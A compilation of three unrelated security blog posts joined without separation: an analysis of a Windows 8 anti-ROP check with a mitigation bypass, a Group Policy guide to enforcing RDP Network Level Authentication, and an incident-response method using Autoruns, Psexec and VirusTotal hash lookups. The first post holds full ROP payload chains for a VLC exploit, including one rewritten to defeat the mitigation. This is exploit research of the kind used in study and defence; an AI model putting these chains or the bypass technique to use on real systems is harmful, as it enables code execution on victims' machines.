Windows 8 introduced a number of exploit mitigation features, including hardening of both the userland and kernel heaps, mitigation against kernel-mode NULL pointer dereferences, and protection against abuse of virtual function pointer tables. One feature that stood out to me appears to be designed to help mitigate exploits leveraging return-oriented programming (ROP).

Return-Oriented Programming

For those who don’t know, ROP is a generalization of the classic return-to-libc attack that involves leveraging small sequences of instructions, typically function epilogues, at known addresses to execute arbitrary code incrementally. This is achieved by controlling data pointed to by ESP, the stack pointer register, such that each ret instruction results in incrementing ESP and transferring execution to the next address chosen by the attacker.

Because finding sequences of useful instructions (known as “gadgets”) may be difficult depending on the exploitation scenario, most real ROP exploits use an initial ROP stager to create a writable and executable memory segment that a second-stage traditional shellcode can be copied into. Most frequently, VirtualProtect can be used to mark an existing executable segment writable, or VirtualAlloc can be used to create a fresh segment. Other variations also exist.

A second trait common to many ROP exploits is that the ROP payload itself often doesn’t live in the thread’s stack, due to either the nature of the vulnerability itself or limits on the attacker’s ability to introduce code into portions of the vulnerable application’s address space. Instead, it’s much more common for a ROP payload to be positioned in the heap and pivot the stack pointer into the heap, at which point the ROP payload can run.

Windows 8 ROP Mitigation

Microsoft has evidently been paying attention and noticed these two common factors. In an attempt to mitigate these types of exploits, Windows 8 implements a simple protection mechanism: every function associated with manipulating virtual memory, including the often-abused VirtualProtect and VirtualAlloc, now includes a check that the stack pointer, as contained in the trap frame, falls within the range defined by the Thread Environment Block (TEB). Code courtesy of Alex Ionescu:

 

 char __cdecl PsValidateUserStack()
    {
      char Status; // al@1
      _KTRAP_FRAME *TrapFrame; // ecx@3
      _TEB *Teb; // ecx@3
      void *.Eip; // [sp+10h] [bp-88h]@3
      unsigned int .Esp; // [sp+14h] [bp-84h]@3
      void *StackLimit; // [sp+18h] [bp-80h]@3
      void *StackBase; // [sp+1Ch] [bp-7Ch]@3
      _EXCEPTION_RECORD ExitStatus; // [sp+24h] [bp-74h]@6
      CPPEH_RECORD ms_exc; // [sp+80h] [bp-18h]@3
    
      CurrentThread = (_ETHREAD *)__readfsdword(0x124u);
      Status = LOBYTE(CurrentThread->Tcb.___u42.UserAffinity.Reserved[0]);// // PreviousMode == User
      if ( Status )
      {
        __asm { bt      dword ptr [edx+58h], 13h }  // // KernelStackResident, ReadyTransition, Alertable
        Status = _CF;
        if ( _CF != 1 )
        {
          TrapFrame = CurrentThread->Tcb.TrapFrame;
          .Esp = TrapFrame->HardwareEsp;
          .Eip = (void *)TrapFrame->Eip;
          Teb = (_TEB *)CurrentThread->Tcb.Teb;
          ms_exc.disabled = 0;
          StackLimit = Teb->DeallocationStack;
          StackBase = Teb->NtTib.StackBase;
          ms_exc.disabled = -2;
          Status = .Esp;
          if ( .Esp < (unsigned int)StackLimit || .Esp >= (unsigned int)StackBase )
          {
            memset(&ExitStatus, 0, 0x50u);
            ExitStatus.ExceptionCode = STATUS_STACK_BUFFER_OVERRUN;
            ExitStatus.ExceptionAddress = .Eip;
            ExitStatus.NumberParameters = 2;
            ExitStatus.ExceptionInformation[0] = 4;
            ExitStatus.ExceptionInformation[1] = .Esp;
            Status = DbgkForwardException(&ExitStatus, 1, 1);
            if ( !Status )
            {
              Status = DbgkForwardException(&ExitStatus, 0, 1);
              if ( !Status )
                Status = ZwTerminateProcess((HANDLE)0xFFFFFFFF, ExitStatus.ExceptionCode);
            }
          }
        }
      }
      return Status;
    }

As a result, exploits that leverage a ROP payload stored in the heap cannot return into VirtualProtect or VirtualAlloc to create a writable and executable segment. While this provides yet another hurdle for exploit writers, it’s fairly easy to bypass. Besides writing a full ROP payload that doesn’t have a second stage, which may be difficult depending on the availability of gadgets, one simple way of avoiding this protection is to give it what it wants: ensure ESP points into the current thread’s stack whenever virtual memory functions are called. In the below example, I’ll assume the attacker has access to the original stack pointer through some register, as is the case when a pivot is performed using an xchg instruction. If this isn’t the case, it may be worth investigating ways of finding the stack at runtime.

Bypassing the Mitigation

To demonstrate, let’s take the very basic ROP payload I used for a VLC exploit as an example. After triggering the vulnerability, I pivot the stack pointer into the heap using a gadget that executes the following:

    xchg esi, esp
    retn

 

 

In this case, the ESI register contains a pointer to heap data I control, so by pivoting the stack pointer into this region, I can execute my first-stage ROP payload:

rop = [
    rop_base + 0x1022,        # retn

    # Call VirtualProtect()
    rop_base + 0x2c283,        # pop eax; retn
    rop_base + 0x1212a4,        # IAT entry for VirtualProtect -> eax
    rop_base + 0x12fda,        # mov eax,DWORD PTR [eax]
    rop_base + 0x29d13,        # jmp eax

    rop_base + 0x1022,        # retn
    heap & ~0xfff,            # lpAddress
    0x60000,            # dwSize
    0x40,                # flNewProtect
    heap - 0x1000,            # lpfOldProtect

    # Enough of this ROP business...
    rop_base + 0xdace8              # push esp; retn
]This payload pulls the address for VirtualProtect from the Import Address Table (IAT), calls it to mark the heap executable, and jumps into the newly-executable heap to run a second-stage traditional shellcode.

Because ESP points into the heap at the time of the VirtualProtect call, this exploit would fail due to the newly introduced mitigation in Windows 8. However, it’s relatively simple to adapt it to bypass this mitigation. Below is the updated ROP payload:

rop = [
    rop_base + 0x1022,        # retn

    # Write lpfOldProtect
    rop_base + 0x2c283,        # pop eax; retn
    heap - 0x1000,            # lpfOldProtect -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write flNewProtect
    rop_base + 0x2c283,        # pop eax; retn
    0x40,                # flNewProtect -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write dwSize
    rop_base + 0x2c283,        # pop eax; retn
    0x60000,            # dwSize -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write lpAddress
    rop_base + 0x2c283,        # pop eax; retn
    heap & ~0xfff,            # lpAddress -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write &Pivot
    rop_base + 0x2c283,        # pop eax; retn
    rop_base + 0x229a5,        # &pivot -> eax
    rop_base + 0x1db4f,        # mov [esi],eax; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn
    rop_base + 0x3ab5e,        # dec esi; retn

    # Write &VirtualProtect
    rop_base + 0x2c283,        # pop eax; retn
    rop_base + 0x1212a4,        # IAT entry for VirtualProtect -> eax
    rop_base + 0x12fda,        # mov eax,DWORD PTR [eax]
    rop_base + 0x1db4f,        # mov [esi],eax; retn

    # Pivot ESP
    rop_base + 0x229a5,        # xchg esi,esp; retn;

    # Jump into shellcode
    rop_base + 0xdace8              # push esp; retn
]

This is a very crude example, but I think it demonstrates the idea just fine. I write the arguments to VirtualProtect into the original stack, stored in the ESI register, one at a time. For the address that will be returned to coming out of VirtualProtect, I place a pivot to move ESP back to the heap. Finally, to trigger the whole thing, I actually return into my pivot gadget, which will pivot ESP back to the original stack and return into VirtualProtect.

In this case, adapting the exploit added an extra 124 bytes to the payload, but that was mostly due to the fact that I was limited on gadget availability and had to resort to decrementing ESI one value at a time. It’s probably possible to optimize this example with some extra work. In other cases, I’d expect it to be possible to implement this technique with much less overhead.

Recently there has been a lot of attention given to the Remote Desktop Protocol for attacker. The protocol has seen a work in 2011 that abused week passwords and  it’s features to copy files and infect other machines and now in 2012 there is a remote code execution bug in the protocol it self. Since the days of Vista and Windows 2008 Microsoft has provided a new mechanism for securing RDP connections with what they call Network Level Authentication, this uses Microsoft CredSSP Protocol to authenticate and negotiate credential type before handing off the connection to RDP Service.

CredSSP first establishes an encrypted channel between the client and the target server by using Transport Layer Security (TLS). Using the TLS connection as an encrypted channel; it does not rely on the client/server authentication services that are available in TLS but does uses it for validating identity. The CredSSP Protocol then uses the Simple and Protected Generic Security Service Application Program Interface Negotiation Mechanism (SPNEGO) Protocol Extensions to negotiate a Generic Security Services (GSS) mechanism that performs mutual authentication and GSS confidentiality services to securely bind to the TLS channel and encrypt the credentials for the target server. It should be noted that all GSS security tokens are sent over the encrypted TLS channel. This tokens can be NTL, Kerberos or PKI Authentication for SmartCards.

The graphic bellow illustrates how this is done:

Most brut force tools currently out there do not take in to account NLA, it would slow down the process even more and add another level of complexity. Since no packet will reach the RDP service until CredSSP has finished negotiation of the connection it protects the servers from DoS and exploits.

NLA is present in the latest versions of Windows, for Server:

Windows 2008

Windows 2008 R2

Windows 7

Windows Vista

On the client side:

Windows XP SP3

Windows Vista

Windows 7

Windows 2008

Windows 2008 R2

Remote Desktop Connection for Mac

NLA was introduced first with RDP 6.0 in Windows Vista and later on Windows XP SP3.

One of the biggest advantages also is that since TLS is used it will warn us if it can not validate the identity of the host we are connecting to. For this we will need a PKI infrastructure integrated with AD in our Windows environment. On a Windows 2008 environment we can install on a server the role of Active Directory Certificate Service to install a Enterprise CA accepting all defaults so it can provide Computer Certificates to the machines in the domain in an automated way using Group Policy.

In this example I will show how to configure a GPO for issuing a Certificate to each host in the Domain and Configure NLA authentication for RDP. In a production environment you may wish to separate these or keep them in one policy depending on your AD design.

Lets start by selecting from Administrative Tools the Group Policy Management tool:

On the tool we create a New Group Policy Object:

We give this policy a Name:

Once created we edit this policy by right clicking on it an selecting Edit:

Now we select Computer Configuration/Policies/Windows Settings/Public Key Policies/Automatic Certificate Request Settings:

We now right click on Automatic Certificate Request Setting and select to create a new Automatic Certificate Request, this will request to the CA a new Computer Certificate and renew the certificate when it expires automatically.

When the wizard starts we click Next then we select Computer Certificate Template:

We click on Next and then on Finish. Now we select Computer Configuration/Policies/Windows Settings/Public Key Policies under that node we double click on Certificate Services Client – Auto-Enrollment we now select on the properties under Configuration Model we select Enable and make sure that the boxes for managing certificates in the store and for updating the certificate if the template is modified.

Now we have finished the section that will cover the certificate assignment for computers that get this GPO applied to.

For configuring RDP to use NLA we now go to Computer Configuration/Policies/Administrative Templates/Windows Components/Remote Desktop Settings/Remote Desktop Session

Select Require user authentication for remote connections by using Network Level Authentication and double click on it. On the properties screen select Enable and click on OK.

Now lets configure the client settings to make sure that we always select to warn in the case the host certificate con not be authenticated. We select Computer Configuration/Policies/Administrative Templates/Windows Components/Remote Desktop Settings/Remote Desktop Connection Client

We double click on Configure Authentication for Client

Select Enable and set the Option to Warn me if authentication fails

Click on OK and close the screen. Know you should have a proper policy that cam be applied, but before we apply the policy we have to give permission on the Domain Computers group in the domain the permission to apply it:

And now we have a GPO that can be linked to any Domain in the forest or Organization Unit. Once applied when a connection is made we can see the security in use by clicking on the lock on the top of a Remote Desktop Session in Windows and it will tell us how we where authenticated:

On those host that do not have RDP enabled you will see that the only option available is to use NLA

As always I hope you find this blog post informative and useful.

Credit:auldotcom.com

You can buy appliances to put in your network in an effort to find evil on systems in your enterpise. I know a wicked smart individual who develops one such system and I strongly recommend you check them out, especially if you can afford them. 

But let's say you didn't budget for one of these systems this year, there's still something you can cobble together using Autoruns , Psexec , Cygwin  and VirusTotal . It may not be as effective or capable as the system that rhymes with "beer," but it's going to be useful. Let's get to it.

I've written about Autoruns before so if you're not familiar with it, check out the link above and this post about how attackers maintain persistence . Psexec is another Microsoft Sysinternals tool that you can use to execute commands on remote hosts. If you're an incident responder or system administrator, having the ability to "psexec" into remote systems is a must.

Cygwin is "a collection of tools which provide a Linux look and feel environment for Windows." If you follow the outstanding, Command Line Kung Fu Blog , you know well that what's relatively easy at the command line in Linux can be far more difficult to achieve using built in tools in Windows. Installing Cygwin will facilitate our little project here. Alternatively, if you have a Linux box, you can use it instead.

VirusTotal is a great service where you can upload binaries and have them scanned by 40+ antivirus tools to see if any of them recognize the binary as something malicious. Too many people don't know that in lieu of uploading a binary to VirusTotal, you can take an MD5, SHA1 or SHA256 hash of a binary and search for that value on the site. VirusTotal will return a report showing how many antivirus scanners recognize a file with that same hash as a malicious file. See the footnote at the end of this article for a reason why you may not want to immediately upload suspicious binaries to VirusTotal for analysis.

Conveniently, Autoruns can be configured to generate MD5, SHA1 and SHA256 hashes. Combine that chocolate, with the flavor that is VirusTotal and you've got yourself a nice bit of kit for finding evil. Where do Psexec and Cygwin fit into this? With Psexec and a for loop, we can collect Autoruns data from many hosts in a few minutes. Mind the wraps.

Let's break this down. First the for loop is going to count from 1 to 254 and assign that value to the variable %i. Within the loop we run psexec with -s -n 4 and -d options, these will run commands on the remote system as SYSTEM, timeout after 4 seconds if it can't connect and lastly, -d runs the commands non-interactively, think of it as -d for "dropping" the command on the system and moving on.

Next is the IP address of the remote host -- \\n.n.n.%i. You can run this loop inside another loop to cover more than one octet at a time (i.e. \\n.n.%j.%i and so on). Next comes the command we want to run on the remote host, in this case it is a compound command (i.e. a command shell followed by another command (i.e. cmd /c...)). In this case, the compound command that follows first maps a drive to some share somewhere in your environment, this may require that you supply credentials, depending on how your environment is configured.

Having mapped the drive, we call Autorunsc (note the trailing c there indicates the command line version). The flags and arguments provided here, -a -v -f -c '*', have the following effects respectively: collect all Autoruns, verify certificates for signed code, create file hashes, write the output as comma separated values and lastly gather Autoruns data for all profiles on the system. We redirect the output to the drive that we mapped, naming the file for the IP address of the system that it came from and lastly, we delete the drive mapping.

Depending on how you do this, you'll have a single system's Autoruns data or the data from many systems. Now we want to analyze all of this data to see if we can find any malicious binaries in the mix. Since we told Autorunsc to verify signed code, we can make a possibly horrible decision and direct our attention to only the unsigned code. The assumption here is that only legit code will be signed and that malicious code will be unsigned. There have been examples of malicious code that was signed and I suspect the future will bring more and more of the same. But for demonstration purposes, I'm only going to analyze unsigned code.

If you have a single Autoruns output file, rename it to aruns.csv and drop it into the same directory as the following script, which you can download from my githup report  [RECOMMENDED]. You'll need Cygwin or a system with bash, grep, awk and wget for this:

If you have a bunch of Autoruns output from multiple hosts, you can combine them with a little command line foo as follows:

cat n.n.n.* | sort | uniq > aruns.csv 

You'll need to edit this aruns.csv file and remove the header line created by Autorunsc, search for MD5 to find the header line. Now place that file in the same directory as the script above and you'll be all set.

What does the script above do? It pulls out all of the MD5 hashes for unsigned Autoruns, compares them against a list of known good hashes from previous runs, if this is your first run through with the script, the file won't exist and this will be skipped. Next it compares those hashes against hashes of known malicious files, again, if this is your first run, there will be nothing to compare against and this step will be skipped. Known malicious hashes will removed from the list and saved for later notification. Whatever hashes are left will be submitted to VirusTotal as search strings at the public API rate of four hashes per minute, the results from VirusTotal will be written to files named for the hashes with .html extensions added.

Once all the hashes have been submitted to VirusTotal, the script will search through all the results looking for any that were reported as malicious by the antivirus products. Those hashes will be written to the same file as any that had previously been marked as malicious.

Then the script looks through the html files for results where none of the antivirus products found the hash to match a malicious file, these hashes are saved into the hashes_cleared file and they will not be submitted to VirusTotal on future runs.

The script then searches through the results from VirusTotal for any reports that indicate no file with the provided hash has been submitted for analysis. These hashes are marked as unknowns and may warrant further analysis, possibly even submitting the files to VirusTotal (see the footnote below).

Finally, the script reports to the user how many of the hashes were reported to match malicious files and how many were unknown. It pulls these Autoruns entries from the aruns.csv file so you can have the reduced data set for analysis.

Below are some screen shots of the script, which I'm calling "lamelyzer.sh," pronounced lame-ah-lyzer:

Figure 5 shows a directory listing after the lamelyzer script has finished. When we started there were two files, the script itself and the aruns.csv file. Now we have several new files, aruns_malware will contain the Autoruns entries that some antivirus product recognized as malicious; aruns_malware_hashes contains the hashes for those files; aruns_unknown contains those Autoruns entries that had MD5 hashes that didn't match any files that VirusTotal had seen before, these may warrant further investigation; hashes_cleared contains a list of hashes that have been scanned by antivirus products at VirusTotal and the results came back clean, in future runs, hashes matching entries in this file will not be submitted to VirusTotal; hashes_evil contains the hashes for files that VirusTotal said were malicious, in future runs hashes matching entries in this file will not be submitted to VirusTotal, they will however be reported to the user; unknowns contains the hashes for files VirusTotal hasn't seen before; and vtsubmissions contains the list of hashes that were submitted to VirusTotal.

On subsequent runs hashes will be appended to hashes_cleared and hashes_evil as appropriate. All the other data files will be overwritten. If you want to see what VirusTotal says about a particular file, open the corresponding html file in a web browser. When you're finished reviewing the results, delete the html files. The next time you need to analyze Autoruns output, copy it into the directory as aruns.csv and run lamelyzer again. Known good and bad files will be filtered out and reported accordingly, all others will be submitted to VirusTotal with results reported accordingly.




In Figure 6, I've collected another set of Autoruns data from multiple systems, 838 entries in total, but due to the existence of the hashes_evil and hashes_cleared files, only 77 of the 838 entries will have their hashes submitted to VirusTotal.

If you compile many sets of Autoruns data into one aruns.csv file, as I have, you can map a particular entry back to the host(s) that it came from by grepping through the original csv files for the hashes in question. Recall near the beginning of this post, the for loop that wrote Autoruns data to files named for the IP addresses of the hosts they came from, simply grep through those files for the hash in question.

I have to admit that lamelyzer was given its name because it was a hastily assembled proof of concept for a more robust tool I've been working on, but some folks that I'd talked to about it wanted more information on what I was planning to do. Rather than put together slides or whiteboard it, I spent a few minutes putting this script together. It works well enough, that I think many could put it to good use. I will still work on a more robust tool with more options, but wanted to get this out.

If you have any questions or comments, please don't hesitate to let me know.

* There are reasons why you should not immediately upload a potentially malicious file to VirusTotal. If I'm an attacker and I'm targeting your organization, I may create custom malware or repackage some existing malware in such a way that it has a unique set of MD5, SHA1 and SHA256 hashes. Once I've dropped my kit in your network, I can monitor VirusTotal by searching for my hashes. If VirusTotal comes back with a report for any one of those hashes, then I know someone has submitted the binary to VirusTotal (or there's a collision with another file) and therefore, I know that your organization has found my kit and that it's time for me to switch things up.

Credit to: trustedsignal